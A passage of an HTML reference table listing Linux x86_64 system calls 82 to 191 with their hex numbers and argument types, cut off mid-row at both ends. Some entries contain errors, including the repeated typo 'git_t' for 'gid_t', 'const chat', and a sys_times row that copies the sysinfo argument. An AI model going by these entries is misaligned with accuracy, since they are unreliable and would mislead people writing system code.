fd</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">82</td><td style="text-align:center">sys_rename</td><td style="text-align:center">52</td><td style="text-align:center">const char *oldname</td><td style="text-align:center">const char *newname</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">83</td><td style="text-align:center">sys_mkdir</td><td style="text-align:center">53</td><td style="text-align:center">const char *pathname</td><td style="text-align:center">int mode</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">84</td><td style="text-align:center">sys_rmdir</td><td style="text-align:center">54</td><td style="text-align:center">const char *pathname</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">85</td><td style="text-align:center">sys_creat</td><td style="text-align:center">55</td><td style="text-align:center">const char *pathname</td><td style="text-align:center">int mode</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">86</td><td style="text-align:center">sys_link</td><td style="text-align:center">56</td><td style="text-align:center">const char *oldname</td><td style="text-align:center">const char *newname</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">87</td><td style="text-align:center">sys_unlink</td><td style="text-align:center">57</td><td style="text-align:center">const char *pathname</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">88</td><td style="text-align:center">sys_symlink</td><td style="text-align:center">58</td><td style="text-align:center">const char *oldname</td><td style="text-align:center">const char *newname</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">89</td><td style="text-align:center">sys_readlink</td><td style="text-align:center">59</td><td style="text-align:center">const char *path</td><td style="text-align:center">char *buf</td><td style="text-align:center">int bufsiz</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">90</td><td style="text-align:center">sys_chmod</td><td style="text-align:center">5A</td><td style="text-align:center">const char *filename</td><td style="text-align:center">mode_t mode</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">91</td><td style="text-align:center">sys_fchmod</td><td style="text-align:center">5B</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">mode_t mode</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">92</td><td style="text-align:center">sys_chown</td><td style="text-align:center">5C</td><td style="text-align:center">const char *filename</td><td style="text-align:center">uid_t user</td><td style="text-align:center">git_t group</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">93</td><td style="text-align:center">sys_fchown</td><td style="text-align:center">5D</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">uid_t user</td><td style="text-align:center">git_t group</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">94</td><td style="text-align:center">sys_lchown</td><td style="text-align:center">5E</td><td style="text-align:center">const char *filename</td><td style="text-align:center">uid_t user</td><td style="text-align:center">git_t group</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">95</td><td style="text-align:center">sys_umask</td><td style="text-align:center">5F</td><td style="text-align:center">int mask</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">96</td><td style="text-align:center">sys_gettimeofday</td><td style="text-align:center">60</td><td style="text-align:center">struct timeval *tv</td><td style="text-align:center">struct timezone *tz</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">97</td><td style="text-align:center">sys_getrlimit</td><td style="text-align:center">61</td><td style="text-align:center">unsigned int resource</td><td style="text-align:center">struct rlimit *rlim</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">98</td><td style="text-align:center">sys_getrusage</td><td style="text-align:center">62</td><td style="text-align:center">int who</td><td style="text-align:center">struct rusage *ru</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">99</td><td style="text-align:center">sys_sysinfo</td><td style="text-align:center">63</td><td style="text-align:center">struct sysinfo *info</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">100</td><td style="text-align:center">sys_times</td><td style="text-align:center">64</td><td style="text-align:center">struct sysinfo *info</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">101</td><td style="text-align:center">sys_ptrace</td><td style="text-align:center">65</td><td style="text-align:center">long request</td><td style="text-align:center">long pid</td><td style="text-align:center">unsigned long addr</td><td style="text-align:center">unsigned long data</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">102</td><td style="text-align:center">sys_getuid</td><td style="text-align:center">66</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">103</td><td style="text-align:center">sys_syslog</td><td style="text-align:center">67</td><td style="text-align:center">int type</td><td style="text-align:center">char *buf</td><td style="text-align:center">int len</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">104</td><td style="text-align:center">sys_getgid</td><td style="text-align:center">68</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">105</td><td style="text-align:center">sys_setuid</td><td style="text-align:center">69</td><td style="text-align:center">uid_t uid</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">106</td><td style="text-align:center">sys_setgid</td><td style="text-align:center">6A</td><td style="text-align:center">git_t gid</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">107</td><td style="text-align:center">sys_geteuid</td><td style="text-align:center">6B</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">108</td><td style="text-align:center">sys_getegid</td><td style="text-align:center">6C</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">109</td><td style="text-align:center">sys_setpgid</td><td style="text-align:center">6D</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">pid_t pgid</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">110</td><td style="text-align:center">sys_getppid</td><td style="text-align:center">6E</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">111</td><td style="text-align:center">sys_getpgrp</td><td style="text-align:center">6F</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">112</td><td style="text-align:center">sys_setsid</td><td style="text-align:center">70</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">113</td><td style="text-align:center">sys_setreuid</td><td style="text-align:center">71</td><td style="text-align:center">uid_t ruid</td><td style="text-align:center">uid_t euid</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">114</td><td style="text-align:center">sys_setregid</td><td style="text-align:center">72</td><td style="text-align:center">git_t rgid</td><td style="text-align:center">gid_t egid</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">115</td><td style="text-align:center">sys_getgroups</td><td style="text-align:center">73</td><td style="text-align:center">int gidsetsize</td><td style="text-align:center">gid_t *grouplist</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">116</td><td style="text-align:center">sys_setgroups</td><td style="text-align:center">74</td><td style="text-align:center">int gidsetsize</td><td style="text-align:center">gid_t *grouplist</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">117</td><td style="text-align:center">sys_setresuid</td><td style="text-align:center">75</td><td style="text-align:center">uid_t *ruid</td><td style="text-align:center">uid_t *euid</td><td style="text-align:center">uid_t *suid</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">118</td><td style="text-align:center">sys_getresuid</td><td style="text-align:center">76</td><td style="text-align:center">uid_t *ruid</td><td style="text-align:center">uid_t *euid</td><td style="text-align:center">uid_t *suid</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">119</td><td style="text-align:center">sys_setresgid</td><td style="text-align:center">77</td><td style="text-align:center">gid_t rgid</td><td style="text-align:center">gid_t egid</td><td style="text-align:center">gid_t sgid</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">120</td><td style="text-align:center">sys_getresgid</td><td style="text-align:center">78</td><td style="text-align:center">git_t *rgid</td><td style="text-align:center">git_t *egid</td><td style="text-align:center">git_t *sgid</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">121</td><td style="text-align:center">sys_getpgid</td><td style="text-align:center">79</td><td style="text-align:center">pid_t pid</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">122</td><td style="text-align:center">sys_setfsuid</td><td style="text-align:center">7A</td><td style="text-align:center">uid_t uid</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">123</td><td style="text-align:center">sys_setfsgid</td><td style="text-align:center">7B</td><td style="text-align:center">gid_t gid</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">124</td><td style="text-align:center">sys_getsid</td><td style="text-align:center">7C</td><td style="text-align:center">pid_t pid</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">125</td><td style="text-align:center">sys_capget</td><td style="text-align:center">7D</td><td style="text-align:center">cap_user_header_t header</td><td style="text-align:center">cap_user_data_t dataptr</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">126</td><td style="text-align:center">sys_capset</td><td style="text-align:center">7E</td><td style="text-align:center">cap_user_header_t header</td><td style="text-align:center">const cap_user_data_t data</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">127</td><td style="text-align:center">sys_rt_sigpending</td><td style="text-align:center">7F</td><td style="text-align:center">sigset_t *set</td><td style="text-align:center">size_t sigsetsize</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">128</td><td style="text-align:center">sys_rt_sigtimedwait</td><td style="text-align:center">80</td><td style="text-align:center">const sigset_t *uthese</td><td style="text-align:center">siginfo_t *uinfo</td><td style="text-align:center">const struct timespec *uts</td><td style="text-align:center">size_t sigsetsize</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">129</td><td style="text-align:center">sys_rt_sigqueueinfo</td><td style="text-align:center">81</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">int sig</td><td style="text-align:center">siginfo_t *uinfo</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">130</td><td style="text-align:center">sys_rt_sigsuspend</td><td style="text-align:center">82</td><td style="text-align:center">sigset_t *unewset</td><td style="text-align:center">size_t sigsetsize</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">131</td><td style="text-align:center">sys_sigaltstack</td><td style="text-align:center">83</td><td style="text-align:center">const stack_t *uss</td><td style="text-align:center">stack_t *uoss</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">132</td><td style="text-align:center">sys_utime</td><td style="text-align:center">84</td><td style="text-align:center">char *filename</td><td style="text-align:center">struct utimbuf *times</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">133</td><td style="text-align:center">sys_mknod</td><td style="text-align:center">85</td><td style="text-align:center">const char *filename</td><td style="text-align:center">int mode</td><td style="text-align:center">unsigned dev</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">134</td><td style="text-align:center">sys_uselib</td><td style="text-align:center">86</td><td style="text-align:center">NOT IMPLEMENTED</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">135</td><td style="text-align:center">sys_personality</td><td style="text-align:center">87</td><td style="text-align:center">unsigned int personality</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">136</td><td style="text-align:center">sys_ustat</td><td style="text-align:center">88</td><td style="text-align:center">unsigned dev</td><td style="text-align:center">struct ustat *ubuf</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">137</td><td style="text-align:center">sys_statfs</td><td style="text-align:center">89</td><td style="text-align:center">const char *pathname</td><td style="text-align:center">struct statfs *buf</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">138</td><td style="text-align:center">sys_fstatfs</td><td style="text-align:center">8A</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">struct statfs *buf</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">139</td><td style="text-align:center">sys_sysfs</td><td style="text-align:center">8B</td><td style="text-align:center">int option</td><td style="text-align:center">unsigned long arg1</td><td style="text-align:center">unsigned long arg2</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">140</td><td style="text-align:center">sys_getpriority</td><td style="text-align:center">8C</td><td style="text-align:center">int which</td><td style="text-align:center">int who</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">141</td><td style="text-align:center">sys_setpriority</td><td style="text-align:center">8D</td><td style="text-align:center">int which</td><td style="text-align:center">int who</td><td style="text-align:center">int niceval</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">142</td><td style="text-align:center">sys_sched_setparam</td><td style="text-align:center">8E</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">struct sched_param *param</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">143</td><td style="text-align:center">sys_sched_getparam</td><td style="text-align:center">8F</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">struct sched_param *param</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">144</td><td style="text-align:center">sys_sched_setscheduler</td><td style="text-align:center">90</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">int policy</td><td style="text-align:center">struct sched_param *param</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">145</td><td style="text-align:center">sys_sched_getscheduler</td><td style="text-align:center">91</td><td style="text-align:center">pid_t pid</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">146</td><td style="text-align:center">sys_sched_get_priority_max</td><td style="text-align:center">92</td><td style="text-align:center">int policy</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">147</td><td style="text-align:center">sys_sched_get_priority_min</td><td style="text-align:center">93</td><td style="text-align:center">int policy</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">148</td><td style="text-align:center">sys_sched_rr_get_interval</td><td style="text-align:center">94</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">struct timespec *interval</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">149</td><td style="text-align:center">sys_mlock</td><td style="text-align:center">95</td><td style="text-align:center">unsigned long start</td><td style="text-align:center">size_t len</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">150</td><td style="text-align:center">sys_munlock</td><td style="text-align:center">96</td><td style="text-align:center">unsigned long start</td><td style="text-align:center">size_t len</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">151</td><td style="text-align:center">sys_mlockall</td><td style="text-align:center">97</td><td style="text-align:center">int flags</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">152</td><td style="text-align:center">sys_munlockall</td><td style="text-align:center">98</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">153</td><td style="text-align:center">sys_vhangup</td><td style="text-align:center">99</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">154</td><td style="text-align:center">sys_modify_ldt</td><td style="text-align:center">9A</td><td style="text-align:center">int func</td><td style="text-align:center">void *ptr</td><td style="text-align:center">unsigned long bytecount</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">155</td><td style="text-align:center">sys_pivot_root</td><td style="text-align:center">9B</td><td style="text-align:center">const char *new_root</td><td style="text-align:center">const char *put_old</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">156</td><td style="text-align:center">sys__sysctl</td><td style="text-align:center">9C</td><td style="text-align:center">struct __sysctl_args *args</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">157</td><td style="text-align:center">sys_prctl</td><td style="text-align:center">9D</td><td style="text-align:center">int option</td><td style="text-align:center">unsigned long arg2</td><td style="text-align:center">unsigned long arg3</td><td style="text-align:center">unsigned long arg4</td><td style="text-align:center">unsigned long arg5</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">158</td><td style="text-align:center">sys_arch_prctl</td><td style="text-align:center">9E</td><td style="text-align:center">struct task_struct *task</td><td style="text-align:center">int code</td><td style="text-align:center">unsigned long *addr</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">159</td><td style="text-align:center">sys_adjtimex</td><td style="text-align:center">9F</td><td style="text-align:center">struct timex *txc_p</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">160</td><td style="text-align:center">sys_setrlimit</td><td style="text-align:center">A0</td><td style="text-align:center">unsigned int resource</td><td style="text-align:center">struct rlimit *rlim</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">161</td><td style="text-align:center">sys_chroot</td><td style="text-align:center">A1</td><td style="text-align:center">const char *filename</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">162</td><td style="text-align:center">sys_sync</td><td style="text-align:center">A2</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">163</td><td style="text-align:center">sys_acct</td><td style="text-align:center">A3</td><td style="text-align:center">const char *name</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">164</td><td style="text-align:center">sys_settimeofday</td><td style="text-align:center">A4</td><td style="text-align:center">struct timeval *tv</td><td style="text-align:center">struct timezone *tz</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">165</td><td style="text-align:center">sys_mount</td><td style="text-align:center">A5</td><td style="text-align:center">char *dev_name</td><td style="text-align:center">char *dir_name</td><td style="text-align:center">char *type</td><td style="text-align:center">unsigned long flags</td><td style="text-align:center">void *data</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">166</td><td style="text-align:center">sys_umount2</td><td style="text-align:center">A6</td><td style="text-align:center">const char *target</td><td style="text-align:center">int flags</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">167</td><td style="text-align:center">sys_swapon</td><td style="text-align:center">A7</td><td style="text-align:center">const char *specialfile</td><td style="text-align:center">int swap_flags</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">168</td><td style="text-align:center">sys_swapoff</td><td style="text-align:center">A8</td><td style="text-align:center">const char *specialfile</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">169</td><td style="text-align:center">sys_reboot</td><td style="text-align:center">A9</td><td style="text-align:center">int magic1</td><td style="text-align:center">int magic2</td><td style="text-align:center">unsigned int cmd</td><td style="text-align:center">void *arg</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">170</td><td style="text-align:center">sys_sethostname</td><td style="text-align:center">AA</td><td style="text-align:center">char *name</td><td style="text-align:center">int len</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">171</td><td style="text-align:center">sys_setdomainname</td><td style="text-align:center">AB</td><td style="text-align:center">char *name</td><td style="text-align:center">int len</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">172</td><td style="text-align:center">sys_iopl</td><td style="text-align:center">AC</td><td style="text-align:center">unsigned int level</td><td style="text-align:center">struct pt_regs *regs</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">173</td><td style="text-align:center">sys_ioperm</td><td style="text-align:center">AD</td><td style="text-align:center">unsigned long from</td><td style="text-align:center">unsigned long num</td><td style="text-align:center">int turn_on</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">174</td><td style="text-align:center">sys_create_module</td><td style="text-align:center">AE</td><td style="text-align:center">REMOVED IN Linux 2.6</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">175</td><td style="text-align:center">sys_init_module</td><td style="text-align:center">AF</td><td style="text-align:center">void *umod</td><td style="text-align:center">unsigned long len</td><td style="text-align:center">const char *uargs</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">176</td><td style="text-align:center">sys_delete_module</td><td style="text-align:center">B0</td><td style="text-align:center">const chat *name_user</td><td style="text-align:center">unsigned int flags</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">177</td><td style="text-align:center">sys_get_kernel_syms</td><td style="text-align:center">B1</td><td style="text-align:center">REMOVED IN Linux 2.6</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">178</td><td style="text-align:center">sys_query_module</td><td style="text-align:center">B2</td><td style="text-align:center">REMOVED IN Linux 2.6</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">179</td><td style="text-align:center">sys_quotactl</td><td style="text-align:center">B3</td><td style="text-align:center">unsigned int cmd</td><td style="text-align:center">const char *special</td><td style="text-align:center">qid_t id</td><td style="text-align:center">void *addr</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">180</td><td style="text-align:center">sys_nfsservctl</td><td style="text-align:center">B4</td><td style="text-align:center">NOT IMPLEMENTED</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">181</td><td style="text-align:center">sys_getpmsg</td><td style="text-align:center">B5</td><td style="text-align:center">NOT IMPLEMENTED</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">182</td><td style="text-align:center">sys_putpmsg</td><td style="text-align:center">B6</td><td style="text-align:center">NOT IMPLEMENTED</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">183</td><td style="text-align:center">sys_afs_syscall</td><td style="text-align:center">B7</td><td style="text-align:center">NOT IMPLEMENTED</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">184</td><td style="text-align:center">sys_tuxcall</td><td style="text-align:center">B8</td><td style="text-align:center">NOT IMPLEMENTED</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">185</td><td style="text-align:center">sys_security</td><td style="text-align:center">B9</td><td style="text-align:center">NOT IMPLEMENTED</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">186</td><td style="text-align:center">sys_gettid</td><td style="text-align:center">BA</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">187</td><td style="text-align:center">sys_readahead</td><td style="text-align:center">BB</td><td style="text-align:center">int fd</td><td style="text-align:center">loff_t offset</td><td style="text-align:center">size_t count</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">188</td><td style="text-align:center">sys_setxattr</td><td style="text-align:center">BC</td><td style="text-align:center">const char *pathname</td><td style="text-align:center">const char *name</td><td style="text-align:center">const void *value</td><td style="text-align:center">size_t size</td><td style="text-align:center">int flags</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">189</td><td style="text-align:center">sys_lsetxattr</td><td style="text-align:center">BD</td><td style="text-align:center">const char *pathname</td><td style="text-align:center">const char *name</td><td style="text-align:center">const void *value</td><td style="text-align:center">size_t size</td><td style="text-align:center">int flags</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">190</td><td style="text-align:center">sys_fsetxattr</td><td style="text-align:center">BE</td><td style="text-align:center">int fd</td><td style="text-align:center">const char *name</td><td style="text-align:center">const void *value</td><td style="text-align:center">size_t size</td><td style="text-align:center">int flags</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">191</td><td style="text-align:center">sys_getxattr</td><td style="text-align:center">BF</td><td style="text-align:center">const char *pathname</td><td style="text-align:center">const char *name</td><td style="text-align:center">void *value</td><td style="text-align:center">size_t size</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">192</td><td 